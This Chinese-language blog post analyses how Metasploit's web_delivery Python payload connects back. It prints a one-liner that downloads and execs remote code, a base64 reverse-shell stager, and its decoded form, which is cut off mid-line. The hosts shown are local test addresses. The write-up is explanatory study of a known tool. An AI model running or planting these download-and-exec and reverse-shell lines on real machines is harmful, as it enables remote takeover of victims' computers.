分析Metasploit中的web_delivery模塊python是如何建立通信的
作者:Szrzvdny(即刻安全)
如需轉載請聯繫原作者,並註明來源!
攻擊機:Linux Kali
受害機:Windows 10
Prat 1
今天群里的一位老司機裝了一台公網的kali,我厚顏無恥的蹭了
然後測試反彈shell的時候發現彈不到shell(當時就映射了80),各種測發現都是坑QAQ
於是我就有了一個大膽的想法QAQ
Prat 2大膽的想法!
他的payload執行了什麼?
他的payload是怎麼來的?
首先配置一下web_delivery模塊,得到一個payload
他會得到一個payload
python -c "import sys; u=__import__( urllib +[sys.version_info[0]],fromlist=( urlopen ,));r=u.urlopen( http://127.0.0.1:8080/c0DklT82AcnaPH );exec(r.read());"
訪問這個http://127.0.0.1:8080/c0DklT82AcnaPH
發現他會下載一個文件,打開看看
import base64,sys;exec(base64.b64decode([sys.version_info[0]]( aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNzc3NykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo= )))
發現有部分是base64編碼過的,解碼得到payload代碼
import socket,struct,timefor x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(( 127.0.0.1 ,7777)) break except: time.sleep(5)l=struct.unpack( >I ,s.recv(4))[0]d=s.recv(l)while len(d)
既然得到代碼,那麼我們可以嘗試下使用pyhton直接通過socket連接msf呢?測試一下
發現獲得了一個會話,那麼是可行的。
payload的由來
當然,我們需要理解他是如何得到這個payload的。
在/usr/share/metasploit-framework/modules/payloads/singles/python目錄中可以看見他的模塊
我們看一下meterpreter_reverse_tcp這個模塊
ruby不是很懂,只能大概的理解一下意思,這段為生成payload的代碼
def generate_reverse_tcp(opts={}) socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
" socket_setup
在看一眼上面的代碼,就很明顯的明白了。
總結:
用一張圖片概括~
本文算是科普不喜勿噴~~~(還沒做擴展性操作)。
TAG:即刻安全 |